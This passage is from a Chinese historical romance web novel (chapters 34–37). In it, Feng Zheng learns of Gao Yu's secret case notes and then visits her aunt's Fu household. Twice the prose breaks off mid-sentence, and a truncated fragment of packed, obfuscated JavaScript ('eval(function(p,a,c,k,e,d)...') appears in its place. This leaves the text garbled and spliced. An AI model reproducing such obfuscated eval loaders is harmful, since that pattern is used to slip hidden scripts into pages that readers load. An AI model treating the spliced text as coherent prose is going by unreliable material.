她这样志得意满地想事情,一点也不怕贸然抖落秘密,会被跟前的人威胁伤害,她甚至眼含怨怪,因为他一直以来都在瞒她。 宣城酒楼的饯别宴,他用“酒醉胡言”的提醒,制止张季安说出朝堂政斗的猜疑。 宣城河灯夜驰骋而归,他用“罪实难逭”的定论,打消她对于他会如何雪恨雪耻的期待。 想想也对,很多事情,他连也亲姊也瞒,怎么能指望对她这个半道好友,乃至半道姻亲和盘托出? 满街行人如丝,把刚刚还挨着走的两人遥遥隔开,富贵人家的车驾经过,仆婢随丁推搡开道,冯筝受阻退让了下。 对面高豫没多迟疑,收起锐意趋步走来,没走两步,被突然出现的元逢和元值挡在面前。 “早就觉得这趟行程你形迹可疑,之前在扶陵的时候,你便闭关不怎么露面,这会儿养着病,半夜不好好睡觉,为赶路的事情养精蓄锐,反倒避着姑娘烧纸稿,高郎君果然有私心。” “二爷叫咱们谨慎提防些果然没错,差点被你衣冠楚楚的样子蒙骗了过去。你打着护送姑娘的名头上路,半夜偷偷焚稿,连姑娘都瞒着,谁知道去淮州是要做什么见不得人的事。” “你利用姑娘的仁慈铺路,骗尽我们的关心照料,怕就怕,连病弱孤独的模样都是装出来的!” 两护卫痛声呵责,当街指出他的可疑之处,气氛僵持得像一块浮冰,所过之处呼吸尽寒,然而不管两头如何对峙,高豫始终没回应。 两护卫嚷嚷着他的异心,把他平静过头的表情视为摊牌。 她心神不定,既然这无聊的猜测他不稀罕解释,那别的呢,他焚的稿,会是她想象的那样吗? 护卫难得捉住他的把柄,难得她没有站出来袒护,他们奉命护送姑娘,自问有责任清除异己,岂能轻易放过这样宝贵的机会。 高豫不招,他们不是没有招数。他们直奔宅邸,闯入他的寝居,试图翻出证据,最后得到的,除了还未烧尽的残纸,便只有炭盆里一捧隔夜的灰。 残纸稀碎,早就不剩什么内容,指责他狡诈的声音传出寝居,期间,高豫眼皮都不抬一下。 冯筝和高豫遥遥相隔,一并站在院落中,她就这样纹丝不动,等他亲口告诉她苦衷。 她不一定信,但一定会把这场对峙轻柔化解,然后找个僻静的角落,怪他昨夜焚稿不够谨慎,一个不察让她揪住了破绽。 寝居被倒腾不休,胜似羞辱欺凌,而他毫无阻意地停在一旁,望着冯筝脸色生硬,孤单如寒潭鹤影,冷酷似无情弥陀,两相对望间,她额穴有点突突地疼。 院落的枯叶扬了又扬,乌云蔽空,天色一瞬间压暗,尘砾吹到眼睛里,这么一疼,眼皮就不受控地栽了下去。 再一睁眼,就看到高豫拂袖而至。 他们哼哧哼哧翻得正勤,他睁着无悲无喜的眼眸,步履坚定,远离喧嚣,准确朝她的方向走近,突然振袖探出手来,卷幅向下一抖,整张手稿亮出了真容。 满纸批注,密如蚁走,写满那些据她所知,只会出现在奏章或者榜文里的名讳。笔墨标注的事件串连成网,冯筝眼睫微抖,便是此刻明悟,哪怕江南科场案结案已久,依然存在许多遗留问题。 冯筝丝毫不流连,收回眼,按下他的手,而后认真且沉静地,告诉他一句,自己一直以来都想说的话。 “不用细说,你要做什么,就去做好了。还是那句话,你先是高家的三郎君,才再是我冯阿伯的妻舅爷。” 手稿详情,冯筝半句也没提及, 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只需要再等等,等到天黑就寝,一切耳目将息,会有机会跟他交谈。 晚膳后,他们各自回到配房,高豫寝居已经熄烛,屋门没有落锁,轻手一推便能走进。 天近擦黑,四周都是朦胧的黑,但依然能发现,室内已经被他归置整洁,仿佛闹剧从未发生。 榻上的人身披薄被,面朝墙侧卧,顺着颈项往下,隐约可辨素白中衣。 他已除服睡去,头顶发冠未拆,若非困极了,不会以这样不太舒服的方式就寝。 他睡得略早,较他平时的作息有些反常,冯筝幽幽想道,他没明白她的意思。 眼下不好打扰,她却短暂没有要走的意思。 冯筝俯身蹲下,手臂叠在床沿,高豫高冠侧枕,脑后一缕碎发随她呼吸沉浮,她看了看,手指扣在榻边静思。 “你可能不知道,你到私塾做西席先生,他们说你会安定下来,这话我从来就没信过。” “他们想的很惊险,说当初京部允你归还绶印,只是让你缓一缓能喘口气,而在这条充满绝望的归途里,等待你的将会是一场屠杀。” “你千里迢迢去睦州送死,又好端端活着回来,经此一遭,谁都会想要安定的生活。” “但我却不这么想。” 那天午宴散席,她去膳堂尝定胜糕,听到爹娘一番评说,她便抱有不同的想法。她思绪游走,声音放得很轻,想一句是一句,无所谓他能不能听见。 “踏实谋生不等于自甘堕落,密谋举事也不等于自寻死路,我猜的没错,安定只是一时权宜,你一直以来都打算翻案。” “白天那些字稿,元家兄弟面前,我已经说是诗稿糊弄了过去,你走以后,类似的闹剧不会再发生了。” “你总归是要走的,我再想留你,也懂鸿隐之辈焉能久留的道理,即便你没走,我也无意阻拦你做任何事。” 一直以来,她都害怕和他身为高豫的苦难共情,念在过往情谊,稍稍听他排遣一下苦闷也不是不行,可他待她,时而亲切时而疏远,一点苦也没讲过。 冯筝抱怨起这件事,喃喃自答,“你喜欢硬熬,我乐意成全,你欲守独,我自然也没有二话。” “唯独有一点我没有想通。” 相逢以后,关于高家旧案,他好说歹说地稳住她,就是不知道更早以前,他是怎样稳住高蘅的。 是让她清楚高家式微,无能翻案,还是直接瞒她说旧案无冤,让她死心? 照蘅娘多愁善感的性情,能绕过亡父,惋惜高振……冯筝扣着被褥,抽丝剥茧,把疑问一点点排除,“那就只能是第二种可能了。” 她的气息掠起枕边那缕发丝,带点愁苦的呢喃,“你给高相的死盖棺定论,以防节外生枝,骗我说他没有冤情。” 可是高豫,你想没想过,郊屋雨夜,我好奇科场案的隐情,怨怼革职下狱期间,为什么没有人,愿意伸手拉你一把,当时你明明可以不理睬我,却还是自揽话题,从上峰王勉细数到尊师施润章,把他们的顾忌撕开来讲,正好说明,你是相信我的。 你很清楚不管发生什么事,我一定会站在你这一边,若非坚信我的选择,在意我的喜怒,你何苦向我费这唇舌? 一点超越情谊的东西,他窖藏得很深,聪慧如她,怎么可能毫无觉察? 冯筝呼吸绵绵,尽量把声息压得细弱,柔声捅破它,“对也不对?” “你看,其实我都知道。” “三郎君……” “可不许再哄骗我了。” 35. 第35章 一番自说自话持续到很晚,整个人疲倦得有些撑不住了,她拍拍裙身走人,感觉良好,完全没管这般鬼魅低语,会不会让他梦魇。 回房蒙头就睡,渐渐呼吸清浅,她睡得坦然,完全没想过,这一天还能有什么变数。 簌簌卷柏声将天地动静淹没,冯筝捂着被面翻了个身,意识迷蒙,眼前也是凌乱模糊,好像回到了闺阁里那张暖帐床上,抱着那只饱满又能转面的圆枕,而非什么棕绳编的软枕,又扁又薄。 “阿姆,铜手炉还没烧。” 吴阿姆对她向来有求必应,没多会儿,暖融融的手炉准确找到了她的怀抱。 冯筝倍感舒服,回礼般挠了挠阿姆的手背,让她去睡,呢喃停在嘴边,寂静黑暗里,冯筝突然醒神。 映入眼帘的是一只因蓄力而筋节贲张的手,高豫把手别到后腰,于她睁眼的刹那蹲跪在床前。 冯筝眼瞳一震,就看到他那双清亮的青莲眼,精神抖擞地注视她。 “既然醒了,就起来吧。” “我说过,等你醒了酒,再来跟我好好谈谈,之前错过了,现在补起来还不晚。” 这话话题跳跃,预先没有铺垫,她既惊疑又一头雾水,想起片刻前的隔榻相会,还有什么不明白的—— 他压根没睡,他装睡骗得她自言自语,还礼尚往来,夜探香闺。 他能装睡,未必她就不行,冯筝狠狠垂眸,高豫轻轻一按,她又不得不睁眼跟他好好商量。 “可是高豫,我有点困了……啊!” 一只手伸进被褥,直接把她薅出了被窝,高豫俯身跪榻,用绒毯把她裹成个粽子。冯筝镇定地苦笑,交谈归交谈,何须这么郑重? 也不知道自己那些话被他听进去多少。 他鸦睫振振,难掩激越振奋,她先是想起来忘记锁门,迟迟才意识到,今天的他处处透着异样。 起初是守着煎药的文火走神,她赶来唤醒他,震铄动容的眼神把她惊了一惊,随后是隔着石阶审视她,就差把她按进眼里,再后来,他无视护卫欺辱,就那么毫无预料地,把守得稳固的秘密亮给她看。 高豫俯首跪榻,这期间,她一直防备着他有后招,但没有,强行薅醒她以后,高豫退出两寸距离,守着冷静克制的声线问。 “那份手稿篇幅翔实,绝无藏私,诚心出示给你,为何又不看了呢?” 他是真的疑惑,以至于眼尾微翘,温情脉脉,冯筝若有所思地望着他,微微启唇没说出话。 他很快便也想通,那篇写着翻案证据的手稿,脱离了推敲过程的语境,便相当于一纸没有注释的终稿,除了本就通晓案情的人,寻常人没有谁能真正看懂。 “也对,那篇手稿文理不通,简单堆砌字句,放在谁面前都得头疼。” 那些梳理了逻辑的笔记,这两夜早已被他全数焚毁。说话的间隙,高豫已经点亮烛台,挪来置烛的短案,抽出前襟里的白纸,掏出一应文房用物,伏榻扼袖,骤然起笔。 他连笔墨也备齐,很难想象他到底抱着什么心态,经过何等慎重的考虑才来到这里。 新墨濡湿,落字成行,冯筝再迟钝,也看懂了他到底写的什么。 “内藏库收纳贡赋税银,其于景仁元年的亏空,因动用回流的京库纹银填仓而蒙混过关。不久后,朝廷推行榷税新政,这期间,左右两相政斗不休,在税纲一事上出现分歧。” “右相高平缮以压缩茶租药租,稳保民生的理由,驳回朝中有关等量税租的一切奏请,和左相以充盈国库为先,随时应对赈灾的政见不合。对此,左相黄迁大翻旧账,证明国库亏空,扳倒主张压缩税租的高相等人,这就导致内藏库违规回流库银之举,阴差阳错地被翻到了明账。” “内藏库隶属户部太府寺,由户部尚书常朗掌控,这个错漏被黄相发现,尚未捅到御前。面临清算危机,太府寺站了阵营。” “后来江南岁考在即,高相‘知贡举’的委任状下达,携礼部要员下赴江南,启程以前,太府寺买通了贡院外帘,打探到了预向他行卷的江南士胄……” 他边落笔边注释,像是经过慎重推敲,每一句停顿都踩得很重,又绘声绘色,生怕旧事无趣而惹她犯困。 高豫席地而坐,窗前的银辉覆上发顶,疑是经冬雪未消,她夜探寝居发牢骚,抱怨他瞒骗她许多,他就真的毫不藏私,携纸捎墨来给出回应。 他提笔重写他飘飖半载所查证的实情,凛声回顾他条分缕析后确凿的认定,冯筝脑海嗡嗡地响,终于看懂,这是将她视作知己,决定对她以心换心的厚貌真情。 他专注写着案情,烛光也同样描摹着他的脸庞。高豫颌线紧绷,还在继续叙述,冯筝眼皮酸疲,真的熬不住了,就侧躺在榻上静静看他忙碌。 她没忍住,浅睡了一会儿才睁眼,却见片刻前还满幅清白的纸张,经过笔墨铺陈,呈现出一副惊人面貌。 翻案难于登天,不知从何时起,已经不再只是片辞孤证。宽闳的指证靶向朝野,横扫大半个宫禁,让她在这只有一幢灯影作伴的安稳榻上,忽然感到摇摇欲坠。 灯影宽抚他,照出一身坚韧强大的决绝,而想起压在箱笼底的刑书律籍,她忽然感到一股大恸。 她勤恳研读刑律,准备磨刀霍霍向堂官,却在亲眼见证他撰写案情的这夜,一颗善心摇摇欲坠。 高豫手枕短案提笔,罗列着朝臣罪状的笔下,雪白的宣纸厚重磅礴。 当他从半幅朝纲前停笔,磊落平静地掐灭烛芯,冯筝便一下子认清,她没有能力帮他翻案。 说她知难而退也好,畏惧强权也罢,她毕竟是要回去议亲的,总得替自己做打算。 她自耻自嘲一番,竟听到高豫轻轻一笑。 自他进来时起,冯筝就没怎么说话,他没道理听到她自嘲。 眼瞳慢慢适应黑暗,疲倦的眼眶也舒适很多。高豫之所以熄灯,是因为看到她眼底乌青,想到烛光照面影响她就寝,所以才掐灭了烛芯。 他起身但没有离开,走到外间,把笔墨纸张挪到书案上去。 寝间重新昏暗,更适合睡觉了,她平复半晌,还是轻手轻脚地下了榻。 他欲提笔蘸墨,继续完成字稿,背影静默,不会吵醒她,却被一双柔软的手捂住了眼。 “更深露重,不许再写了。” 声音富有情绪,妩媚幽怨,一下子让他手腕僵滞。 哪怕不能视物,也不妨碍墨笔被他准确搁置在砚台,可惜冯筝会错了意,以为他要继续蘸墨以示拒绝。 眼看拒绝的人快要说出不动听的话,她头脑一热,双手向下捂住他嘴唇。 掌心贴唇,触感突如其来,高豫敏感回避,但这姑娘尚没来得及松手,嘴唇轻轻蹭过她手臂。 手臂内侧,一粒痣点逗留着余温,过电般地,冯筝连忙撒开了手。 那是一粒红痣,浑身唯一醒目的痣点,方才情景历历在目,她不受控地耳红耳热。 此刻高豫也没多坦荡,红痣在脑海中短暂停留,高豫尽量平复,哪怕处境再尴尬,也无法做到不动声色。 “对不住,是我冒犯。” 这个时候,只要她顺水推舟的一句谅解,难堪的局面便能使双方的情面都得到挽回。 但她似乎不紧张颜面,根本没理睬他,紧抿唇瓣逃回了里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冯筝含笑应下,临走前又问她,附近哪里有卖红糖。妇人一听就懂,思索了下,指了指路,又好意劝她多歇几天,租钱减半,冯筝不愿拖延,毕竟再往前不远就能到淮阳。 前段时间买的药膳,以及箱笼里的生姜茶包,如今已经没剩下多少,虽然最近晨起没怎么出汗,眼看年底慢慢转凉,还是需要暖宫滋脾。 路上,元逢拿着药方照例去采买,回程时却发现,高豫已经先他一步回来。 元逢不禁多心,怀疑他刚刚走远又在藏什么私,跟过去一探究竟,顺便问元值,“他去干什么了?” 元值摇摇头,“他没讲,我就没问。” 车壁响起叩动声,冯筝撩起车帘,见到属于高豫的脸时没多意外。 冯筝鼓着眼睛瞪他一眼,发现递来的红糖豆羹,才又认栽般轻叹一声,接纳了他的好意,放下帘子隔绝掉视线。 一段情景给两个护卫看呆了,毕竟对高三郎一向护短的姑娘,会朝他瞪眼本身就是件稀奇事。 冯筝捧着蒸碗,猜到她与妇人的对话已被高豫听去。碗里浇了薄薄一层红糖,咸豆花中和了糖的齁甜,吃进胃里,既缓冲了饥饿,也减轻了月信突至的不适感,这样一来,记起昨夜那场意外的亲近,也没那么耿耿于怀了。 元值跟哥哥嘟囔,“辰时都快过了,现在才想起来献殷勤,姑娘可不会记他的好。” “少说两句吧,总比观望着她挨饿,无动于衷的强。” 这边冯筝错过了早膳,吃完一大碗豆羹,半条胳膊熟稔地递出来,笑容颇美,“劳驾了,帮我把碗还给高大善人。” 四字称呼咬得略重,元值语塞,他刚刚跟哥哥吐露不满,声音刻意抬高,确保姑娘可以听见,结果借题发挥不成,感觉被打脸。 元值动弹得慢,还是元逢老实照做,不假辞色地完成交涉后,收紧缰绳继续出行。 等路过貌似高大善人逗留过的糖羹铺子,元值终于瘪嘴暗哂。 “高三郎好手段,哄得姑娘服服帖帖。” 36. 第36章 淮阳郡符府,符管事在府门前踱步,自从冯家答应邀约,首肯表姑娘百里探亲以后,符家便一直关注着她的动向。 他受夫人所托,料理接应事宜,前阵子收到回信称,月底能至淮州,算算行程,应该差不多到了。 等人这事需要耐心,奈何符夫人晨醒的时候,拉仆妇传话,点名要守到冯筝,磨得还算沉稳的符管事也开始变得焦虑,留意完膳席和茶点,这会儿就到门前守着。 遥遥见到派出去蹲消息的人回了,符管事吁出一口长气。 “去巡检署通传小符大人。”他有条不紊地吩咐,“就说,府上盼的人到了。” 淮阳没有公侯食邑,符老爷符仲玉官勋四品,生前又特地给夫人求来恩典,赐封乡君,满城上下,找不出比他们更显赫的门第。 符老爷夫妇伉俪情深,冯筝少时就有所耳闻,只是符仲玉常年留在京部,每逢除夕才回家过节,她寄住在符府那段时日,刚好错过年节,所以她和这位表姑父,其实是没见过面的。 门房的人很热情,将陪行的随从安置好,便引冯筝拾路而去。 略去冯家两房和符夫人的表字关系,她和符邺,也算姑表哥和舅表妹,引路的婢女唤她表姑娘,见她指腹攥红,安抚她莫要紧张。 冯筝心头砰跳,这一路奔波,耗时一个多月,她对探望远亲这事本来没什么实感,等到脚下真踩踏实了,踏回这座曾经寄住过的府邸,难免有点近乡情怯。 “表姑母身体可还康健?” “她还像以前那样爱吃甜吗?” 她不停找话,婢女将人领到堂屋,跃上台阶,面对这位相较以前不仅长了个,话也多起来了的表姑娘,推开虚掩的门,连连笑应:“康健,康健。夫人还是见甜则喜呢。” 光亮凌乱地涌进室内,骤然变多的面孔令冯筝眼前短暂失焦,花了一点功夫,才看清里面或站或坐十来个人。生人面孔居多,大多都是仆婢,她正要过去福身,须臾间停了停。 “表姑母有客人?” 随着主座符夫人起身,在座全部站了起来,看向这个府里三催四请才盼得一面的姑娘,表情大多有些复杂。 人群稀稀拉拉簇拥过来,在她弄清楚情形前,双手已经被紧紧握住。 传闻年轻时,符乡君生得一副典雅英气的好相貌,多年病痛磨平了锐意,她肃穆不起来,气势减弱反添亲善,气质也变得雍容闲雅。 先丧夫又害病,背后肯定没少吃苦,见她苍老许多,冯筝眼眶酸楚,符夫人却难以抑制地笑出了声,“可把我筝娘盼来了,若非我腿脚不便,又禁不起寒风,我怎么也得亲自去守你。” 冯筝闻言微惊,“您的婢女还说您康健来着。” 符夫人挺了挺腰背,反嘁她道,“没说错,我坐卧自如,起居自便,谁看了不说声健硕!” 两姑侄正寒暄,一道女声适时插话道,“谢郎君是老爷在京时的学生,这些年都会回来祭奠,给老爷点长明灯。” 随后又告诉乡君,“母亲,邺郎午时会回来用饭。” 女子绾妇人发髻,既解答了她方才的疑问,也提醒婆母,用膳的时辰能推延则推延,好等一等符邺。冯筝听出少夫人身份,行礼敬她“表嫂”,视线最后才关照到另一人身上。 按照礼节,闭门候客的情形比较少见,虽说表姑母归结为身体原因,但若原先有客就更说得通了。 男子着藏青襕衫,腰佩环绶香囊,年纪看上去还算轻,随身安排却不单调,只身边就伴着三名小厮。 早在两姑侄寒暄时他便自发落了座,冯筝很自然地望过来,谢阅丰颔首向她报了名姓。 毕竟是师母时常挂在嘴边的表小姐,冯筝不认得他,谢阅丰却对她稍有了解。此女出身书吏小户,老家主从吏部退贤,安守宣州祖宅,除此之外不值得一提。 然而就在刚刚,据他外出回来的小厮目睹,门房那边收到的献礼,一摞礼单实在扎眼:茶品送的是阳朔府官供,香油产自邯郸大名府,原本对来客无甚在意的谢阅丰,对这姑娘乃至冯家的底细难得感到疑虑。 符夫人不着急摆膳,拉着侄女瞧变化,听到郑琬说话才记起来介绍。 “我们两家许久没有来往,结亲之事也一直没方便知会。琬娘是你表哥媳妇,你们不必见外。府里这两年的光景大不如前,幸亏有你表哥守业,他在城中的巡检署谋了个武职,等午时上了桌,再让他跟你好好叙旧。” 冯筝无有不应,仍在感怀表姑母的苍老,心情写在脸上,符夫人轻拍她手背以示宽慰,还要继续寒暄。 “不必等到午时,有旧现在就能叙。” 符邺跨入正堂,对眼前受众亲瞩目的情形习惯得麻木,向女人堆走来,步伐一路毫无停顿。 符邺乃符氏唯一的嫡系,相貌变化不大,出于弱冠后习武的缘故,身材结实了许多,只一副不苟言笑的样子,还与从前大差不差,郑琬最先上前,又惊又喜。 “怎么提前回来了?” “管事传消息说人到了,我便提前打了招呼下值。” 符邺说着,证明来意一般看向冯筝,冯筝回过神来,主动施了礼,符邺致以问候,慰劳路上辛苦,然后取出整盒核桃纹乌枣先带给她,剩下的则交于下人,分给宅眷尝鲜。 一遍接触下来,既不疏远也不亲厚,冯筝捧着沉甸甸一盒见面礼,自然而然领受了好意,“多谢符表哥。” 符邺由此多看了她一眼,他视线未多逗留,转头向母亲交待署衙事务变动的事情,符夫人却不怎么领情,“你心里有数就够了,这种事你自有应对,叮嘱你也会嫌啰嗦,筝娘这么多年才回来一趟,你倒是该多跟她说说话。” 符邺眉峰蹙起,登时没了下文。郑琬出来圆场,说男人能讲的,不过官署里头那些事,想必表姑娘不会感兴趣,提醒婆母,好多事还没来得及跟表姑娘分享,不如趁机好好捋一番,他们表兄妹要有话,留到膳桌上说也不迟。 这番话应心,符夫人没有擒着儿子不放,拉冯筝坐下好一番叙旧,回顾到煽情处,忍泪克制情绪,旧事涌上心头,冯筝也眼角微红。 符夫人觉得人多碍眼,提议要带她挪到寝堂去,还是符邺率先察觉不妥,出手阻拦。 此刻谢家郎君还在,符家再讲究待客之道,也没有客人不动,反让主人腾地方的道理。冯女和谢郎虽都是客,却有轻重之分,母亲对冯筝的重视摆在那里,符邺分得清孰轻孰重,这就主动带谢阅丰出去晃荡。 终于被记起存在的谢阅丰哪有不应,这一走,瞬间清走了大半仆从。 两姑侄说话没了顾忌,经夫人授意,郑琬使唤仆妇,捧屉盒去请表姑娘笑纳,屉盒上一摞衣裳首饰,冯筝坐不住了。 “此程是我来拜见您,让您久等,我应该内疚才对,怎么好意思反收您的礼?” “入我乡便随我的俗,好孩子,别拂我面子。” 冯筝心底五味杂陈,这趟探亲,家中只打发她一人前来,符府没心生怪罪就极好了,从进门到落座,符家半点都没冷落她,乌枣的礼能收,多余的就有点过了。 郑琬不清楚表姑娘的性情,担心这位脸皮薄不肯收,闹到最后,不好收场的还得是她,索性补充道,“之前不了解你的身段,衣裳便做得宽松一些,方便改动,若有不合身的地方,你只管同我们讲,不想麻烦夫人和邺郎,就直接来找我吧。” 事都圆融到这份上了,冯筝笑了笑,只能将拟好拒绝的说辞咽了回去,答应的同时一并道谢,谁知郑琬刚提起符邺,符夫人就又嘴碎起人来。 “符邺幼时骄纵不着调,谁知道最后,偏偏就是这个曾经我不看好的孩子,一手操持父亲的丧事,一手稳住偌大家业,能独立做到如此……”符夫人深深感慨,“你表哥他没得说。” “邺郎心性成熟,又识大体,这些年慢慢练达,也树立起了威信,一切都离不开母亲教导。” 符夫人眼盯儿媳,像听到什么稀奇的事,忽然开怀地笑了,琬娘正疑心自己哪句话说错,就被夫人握住手坐下。 “自打性情沉下来之后,他倒是变得知事明理,然而你不知道,以前他浮躁起来,狼崽一样逮人就咬,不信你问问筝娘,可否有这回事?” 或许是因为相比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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近到买粮,远到赴宴,或为探亲,或为讨债。买粮人期待满载而归,赴宴人期待大快朵颐,探亲的冯筝期待一睹亲容,讨债的高豫期待争取到回报,所有人都在为实现期待而努力,飘摇播迁的路途也总要有终点。 数月以前,高蘅那声“这对他是无妄之灾”的哭诉,不断在她耳畔回响,既然高豫已经握足证据,后续的事,无外乎写劾牒,写状纸,再找一信得过的帮手递到御前。 他跪钦差,用一身清白赌一道致仕的恩典,未来跪审堂,用一封状纸赢一纸赦免的公文,这样看似很对等的“买卖”,高豫筹备了上百个昼夜,这样看似很公平的“交易”,消耗他半年甚至更久的年华。 这就是为什么,那天宅院晨起,看到枕下那幅墨迹很新的手稿完整呈现在眼前时,她会心神动荡,也是为什么,跟他在淮阳郡告别的当头,明知往后的事应该各不相干,也坚持要祝福他,期待他能得偿所愿。 厢房的抱枕软蓬蓬的,路途圆满结束,梦境也很美满,醒来时刚好赶上布膳。 午膳被安排成酒宴,用陈酿梅酒尽兴,符邺及谢阅丰两人,安静吃着闷菜,纯粹来给女眷们作配。 如同衔菜必须被碗接住一样,她们的声音有来有往,冯筝偶尔搭腔,每当表姑母提到自己,话题总是着魔般牵引到符邺身上。 拉拢两个生疏的人叙旧,跟随便拉郎配一样磨人,一顿饭吃得符邺眉峰屡跳,冯筝也没安生多少。 符夫人说着话,情到深处竟哀痛起来,腔调挫败,不可控制地流泪,郑琬抬袖替她擦眼睛,被符夫人挡下。 “你们都是我亲手带过的孩子,在我抚养的羽翼下相伴,姑且算半个青梅竹马,如今难得见面团聚,怎么一点亲情也维系不起来呢?” 一切超出冯筝预料,不同于符邺静待山雨欲来的姿态,她心惊肉跳,人也不困了,酸乏的肩颈一下子绷紧。 手中没攥稳的汤匙摔落,混在仆妇们慌忙的脚步声中几乎听不见。符邺经过她身边,替她捡起落地的汤匙,而后短暂停留,示意她借一步说话。 乡君落泪,仆妇们抢着过来安慰,递帕子的喂水的,很快挤占了大半个膳堂。此情此景,连谢阅丰这个外人也有些看不下去,他劝不动师母,准备求助郑琬,却见素来擅长圆场的少夫人,此刻竟然呆坐着没动。 郑琬神情错愕,眼前,冒昧无礼的奴婢来回穿梭,享尽荣华的婆母无病呻吟。 以及丈夫和表姑娘那一前一后消失的身影,一切都显得好生荒唐。 37. 第37章 廊风拨动袖摆,冯筝担忧地望向膳堂,半尺之遥的地方,符邺冷静得出奇。 曾经借住在符府的远亲不止她一个,符邺清楚记得,这姑娘自小细致,能把简陋的生活过得美满充实。那时母亲的脾气还比较焦躁,对谁都一般苛刻,唯独对她颇有耐心,让他这个没少挨揍的嫡子,脸面经常无处安放。 或许乖巧懂事的晚辈,总会优先获得长辈青睐,过了弱冠的符邺回头再看,觉得那幼稚吃醋的自己可笑至极。 接到符管事报信之余,他曾简单设想过见面的情境,却没想到,她能草率到身边一个伺候的婢女也无。 膳堂的仆婢踊跃地献殷勤,刚刚冯筝貌似受惊,现在的心情只剩下古怪,符邺镇静依旧,“母亲的花样,如今也只能唬住你了。” 冯筝回头:“什么?” 符邺知道她听懂了,解释起他的司空见惯。 “我父亲年轻时走上仕途,只留母亲操持家事,她凭雷霆手段治家,将宅第打理得有条不紊,然而人总得服老,不是所有人都敬她威信,也不是所有人都听她使唤。” “你被接走以后,她带大的晚辈脱离她掌控,远亲的孩子一个个远走,母亲自察严苛,却也无法接受落差,久而久之,便选择演苦情戏来让人服软。” “没多久父亲过世,母亲也跟着病倒,寒症病愈,心病却难医,她变得有点疯癫痴顽,若有事不遂她的意,就愈发爱扮苦情来达到目的。这一现象,在将掌家权分出去,由琬娘打理中馈后尤其明显。” “她是我生母,本来不适合由我说这些唐突她的话,但若我不讲,你恐怕无法理解她交流时爱抒情的习惯,而演苦情戏,就是她抒情的方式之一。” 冯筝有些难以接受,符邺点头示意她没听错,她半晌才找回自己的声音。 “她这样多久了?” 符邺没有回答,她便意会这病只怕持续了很多年。 符夫人正被伺候着喝茶,偶尔向这边探究一眼,冯筝不动声色将目光转开,料符邺没必要骗她,逐渐接纳了这一事实。 “相比以前,表姑母真的变了很多。” 符邺既然能和盘托出,某些话她便也没有压力,“你我同在她身边受教,有没有兄妹情分,表姑母应该很清楚才对,膳桌上屡屡说合你我,这么做又是何苦?” 符邺露出难色,“她抒的什么情,我以为你能看明白。” 冯筝微顿,稍加思考,想起了他们儿时闹过的龃龉,猜想符夫人可能还执着于此,符邺印证了她的猜测,“她想化解你我当年的芥蒂。” “母亲半生精明,对你的关爱却很平实,这些年府中经常去信宣城,贵府一直不予理睬。在她看来,你我这层嫌隙,既损了你对符家的感情,也导致贵府不再待见我们。所以你这一趟登门,她想看到的,无非是你我和解,不能重归于好,也至少言笑如常。” 两家如履薄冰的关系被符邺道破,冯筝听出误解,不方便告诉他,符家不受待见,与儿时的旧事没有关系,归因于三年前,她在探亲路上遭遇匪贼,导致娘亲迁怒于邀她前去侍疾的他们。 此事家中瞒得甚紧,实情不能详说。她片刻没给出动静,以至于符邺怀疑,她还在记仇,没谅解他。 刚欲道歉,冯筝点头给出了回应。 “我知道该怎么做了。” 符邺和冯筝去而复返,后者直奔符夫人,伺候茶水的奴婢让出道来。郑琬见到她不顾地面脏污,裙膝抵地跟符夫人交心,缓慢记起来,她对这位表姑娘,其实印象发生过改观。 她从莲城行船嫁到符家,对夫家亲族的认识,大多来自旁人叙述。可惜由言语组成的画像谱,天花乱坠的总会失真,被预期描绘得再金贵的人,到头来不过一群膏粱子弟。 所以,对这位缀在旁支疏干,却令婆母多番提及的冯姓表亲,郑琬当然一样看待。 冯家姿态摆得高,她家的女儿,比金枝玉叶还难请动,府里的邀帖飞花一样砸过去,直到符管事出马才有回音。冯家眼高于顶,教养出来的姑娘,可想而知该有多傲慢。 轻易做出评判的郑琬,今日见到了人才发觉,对方是个礼数齐整的姑娘。 闺阁女多爱熏衣熏帕,但凡门第高点,都爱把自己捯饬得鲜亮鲜明。冯家门第不高,就这一个嫡女嫡孙,理应宠若珠宝,头面锦裙什么的肯定不会短缺了她,她却素衣布裙,既不熏香也不描丹蔻,素净得要把自己埋没进人堆。 那姑娘矮身蹲在了座位边,裙摆堆出雪白的褶,膝弯抵在奴婢们踩得脏污的地,眉眼真情流露,没有半点敷衍,一直将符夫人哄到释怀。 继片刻前偶感醋意后,轻视了她的郑琬,竟无端感到挣扎。 “你怎么了?” 属于丈夫的气息出现在身边,符邺抚过她的后脑,按在胸前轻抚,“跟冯姑娘讲母亲的心结,得私谈。” 郑琬浑身一松,拈酸吃醋和惭愧挣扎的情绪通通疏解,理智一回笼,就清楚地意识到,他们避人耳目是为正事。 郑琬推了推符邺,从他怀里出来,已经理解方才堂屋里和膳堂中,他为何没屈从母亲,只是跟表姑娘的叙旧点到为止。 冯家和符家不算亲姑舅,子嗣间就不算正统表亲。两家长辈的表字关系,续到符邺与冯筝身上,早就不剩什么亲缘,有亲情在才是怪事,婆母是犯糊涂了,才会困扰其中,逼他们维系什么亲情。 符夫人情绪慢慢平稳,冯筝忍着腿脚酥麻,打算趁热打铁再说点好的,这时,被一股力量稳稳搀起。 耳边响起有力的吩咐,郑琬久违出面,“这些端茶送水的奴婢还杵着作甚,有表姑娘在,老夫人哪稀罕理你们,还不赶紧下去。” 郑琬捎来婆母爱吃的蜜饯,冯筝和琬娘交换了一下眼神,哄她吃了一碗菜粥,符夫人这股痴顽劲一过,便由冯筝陪着,送她到寝屋歇息去了。 午膳被闹剧搅了局,晚些的时候,后厨给各厢房送来菜肴和点心,美其名曰给来客压惊。 给冯筝送饭食的是之前给她引路的婢女,叫素荷,给她摆着碗筷,说比西厢那边,多了两道煎鹿脯和翡翠汤圆,又强调说是符郎君的赔罪,在表姑娘这里是独一份,是连谢郎君也没有的待遇。 冯筝便意识到,那个叫谢阅丰的男子住在西厢,听说每年都会有人过去打扫,素荷不着急走,她就顺嘴问那谢郎君是什么来历,值得府上特地留备西厢。 符老爷广结桃李,学生很多,符家也不见得个个都招待,她有此疑问也正常。 